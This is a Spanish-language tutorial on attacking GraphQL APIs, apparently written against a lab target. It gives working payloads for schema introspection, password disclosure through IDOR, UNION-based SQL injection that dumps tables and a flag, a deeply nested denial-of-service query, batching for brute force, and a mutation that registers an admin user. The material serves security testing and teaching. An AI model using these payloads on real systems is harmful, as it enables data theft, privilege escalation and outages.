GraphQL

Tipos de ataque

Featured image

GraphQL es un lenguaje de consulta para APIs que permite a los clientes obtener exactamente los datos que necesitan desde un único punto de acceso (habitualmente /graphql). A diferencia de REST, evita problemas como el over-fetching (cuando se reciben más datos de los necesarios) y el under-fetching (cuando se reciben menos y es necesario hacer múltiples solicitudes). En GraphQL, el cliente define qué campos y relaciones desea obtener, lo que hace las consultas más precisas y eficientes.

Este enfoque mejora el rendimiento y reduce el tráfico entre cliente y servidor. Además, GraphQL utiliza un esquema tipado que define los objetos y sus relaciones, y admite operaciones complejas como filtrado, subconsultas, actualizaciones y suscripciones. En conjunto, ofrece flexibilidad, eficiencia y un mayor control sobre los datos solicitados, siendo una alternativa moderna y más dinámica frente a las API REST tradicionales.

Identificación del motor de GraphQL

Es posible identificar el motor de GraphQL con la herramienta graphw00f, la cual envía múltiples consultas para determinarlo.

┌──(root㉿nptg)-[/graphql]
└─# python3 main.py -d -f -t <website>

Se deben enumerar las consultas admitidas por el esquema de la API mediante la introspección (Introspection).

{
  __schema {
    types {
      name
    }
  }
}
{"query":"{__schema { types { name }}}"}

Ahora que conocemos un tipo, podemos obtener el nombre de todos los campos de ese tipo con la siguiente consulta:

{
  __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}
"{ __type(name: \"UserObject\") { name fields { name type { name kind } } } }"

También podemos listar todas las consultas (queries) admitidas por el backend:

{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}

Conocer todas las consultas admitidas nos ayuda a identificar posibles vectores de ataque que podrían utilizarse para extraer información sensible. Por último, podemos ejecutar una consulta de introspección “general” que devuelve toda la información sobre tipos, campos y operaciones soportadas por el backend:

query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description

          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description

      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }

El resultado de esta consulta suele ser extenso y complejo. Podemos visualizar el esquema de forma más amigable usando la herramienta GraphQL-Voyager; sigue las instrucciones del repositorio para cargar y explorar el esquema. Pero pegando la respuesta en la web de GraphQL-Voyager en la sección de “Change Schema” podremos obtener un mejor panorama.

Exploitación

Divulgación de información

Con la información obtenida por introspección, revisemos el siguiente ejemplo ejecutando la consulta:

{__schema { types { name }}}

graphql1

Tras esto detectamos una lista llamada SecretObject y procedemos a inspeccionarla:

{ __type(name: "SecretObject") { name fields { name type { name kind } } } }

graphql2

La información encontrada puede consultarse así:

{ secrets { id secret } }

graphql3

Insecure Direct Object Reference (IDOR)

Para identificar problemas de autorización rota (IDOR), primero localizamos puntos de entrada que permitan acceder a recursos ajenos. Por ejemplo, mientras se navega en la web vulnerable se observó la petición:

graphql6

Podemos consultar los objetos y ver qué parámetros acepta la petición para intentar acceder a recursos adicionales.

{
  __schema {
    types {
      name
    }
  }
}

graphql4

Luego buscamos definiciones del esquema que nos llamen la atención, por ejemplo UserObject:

{
  __type(name: "UserObject") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}

graphql5

Como se observa, en ciertos casos es posible solicitar el campo de contraseña:

graphql7

graphql8

También se puede enumerar todos los usuarios o iterar uno por uno:

{users { id username msg role password}}

graphql9

Inyección SQL

Dado que GraphQL es un lenguaje de consulta, muchas implementaciones subyacen en bases de datos SQL; si el backend no valida correctamente la entrada, puede ser vulnerable a inyección SQL.

Una prueba rápida consiste en enviar una comilla simple:

graphql10

graphql11

Si se detecta vulnerabilidad, se puede construir una inyección basada en UNION para exfiltrar datos. Dado que GraphQL a menudo devuelve solo la primera fila, se usa GROUP_CONCAT para concatenar múltiples filas. Primero localizamos el número de columnas:

' order by 6-- -

graphql12

graphql13

Si no hay error, probamos con 7:

' order by 7-- -

Obtenemos un error que indica que hay 6 columnas:

graphql14

graphql15

Ahora construimos la consulta para enumerar los nombres de las tablas en la base de datos actual (usando un nombre de usuario inexistente):

{"query":"{user(username: \"prueba' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database()-- -\") { id username msg role }}"}

graphql16

graphql17

Una vez tenemos las tablas, listamos las columnas de una tabla específica:

{"query":"{user(username: \"prueba' UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='flag' AND table_schema=database()-- -\") { id username msg role }}"}

graphql18

graphql19

Finalmente, extraemos el contenido:

{"query":"{user(username: \"prueba' UNION SELECT 1,2,GROUP_CONCAT(flag),4,5,6 FROM flag-- -\") { id username msg role }}"}

graphql20

graphql21

Cross-Site Scripting (XSS)

Las implementaciones que reflejan contenido GraphQL en HTML sin desinfección pueden ser susceptibles a XSS; por ejemplo, si se muestran argumentos inválidos en mensajes de error:

graphql22

graphql23

Denegación de servicio (DoS)

Consultas excesivamente profundas o grandes pueden sobrecargar el servidor y afectar la disponibilidad para otros usuarios.

La consulta dependerá del caso específico.

{
  posts {
    author {
      posts {
        edges {
          node {
            author {
              posts {
                edges {
                  node {
                    author {
                      posts {
                        edges {
                          node {
                            author {
                              posts {
                                edges {
                                  node {
                                    author {
                                      posts {
                                        edges {
                                          node {
                                            author {
                                              posts {
                                                edges {
                                                  node {
                                                    author {
                                                      posts {
                                                        edges {
                                                          node {
                                                            author {
                                                              posts {
                                                                edges {
                                                                  node {
                                                                    author {
                                                                      username
                                                                    }
                                                                  }
                                                                }
                                                              }
                                                            }
                                                          }
                                                        }
                                                      }
                                                    }
                                                  }
                                                }
                                              }
                                            }
                                          }
                                        }
                                      }
                                    }
                                  }
                                }
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Batching

El batching permite enviar múltiples consultas GraphQL en una sola solicitud HTTP (por ejemplo, enviando una lista JSON con varias consultas). Ejemplo:

POST /graphql HTTP/1.1
Host: 172.17.0.2
Content-Length: 86
Content-Type: application/json

[
	{
		"query":"{user(username: \"admin\") {uuid}}"
	},
	{
		"query":"{post(id: 1) {title}}"
	}
]

El batching no es en sí una vulnerabilidad, pero puede usarse para amplificar ataques (por ejemplo, fuerza bruta) si no se controlan límites de solicitud o se procesan consultas sensibles en lotes.

Mutaciones

Las mutaciones son operaciones GraphQL que modifican datos en el servidor (crear, actualizar, eliminar). Identificamos las mutaciones soportadas por el backend y sus argumentos usando introspección:

query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

A partir del resultado, podemos detectar mutaciones que permiten, por ejemplo, crear usuarios.

graphql24

{   
  __type(name: "RegisterUserInput") {
    name
    inputFields {
      name
      description
      defaultValue
    }
  }
}

graphql25

graphql26

En un ejemplo real se identificó que la contraseña se almacenaba en MD5:

graphql27

graphql28

Generamos una contraseña y creamos el usuario:

┌──(root㉿nptg)-[/graphql]
└─# echo -n 'password' | md5sum
5f4dcc3b5aa765d61d8327deb882cf99
mutation {
  registerUser(input: {username: "prueba", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "newUser"}) {
    user {
      username
      password
      msg
      role
    }
  }
}

Como se observa, se asignó el rol de administrador.

graphql29

graphql30

Validamos que el usuario fue creado:

graphql31

graphql32

Se consigue acceso al panel de administración.

Herramientas recomendadas: para auditoría se sugiere graphql-cop y, como extensión para Burp Suite, InQL.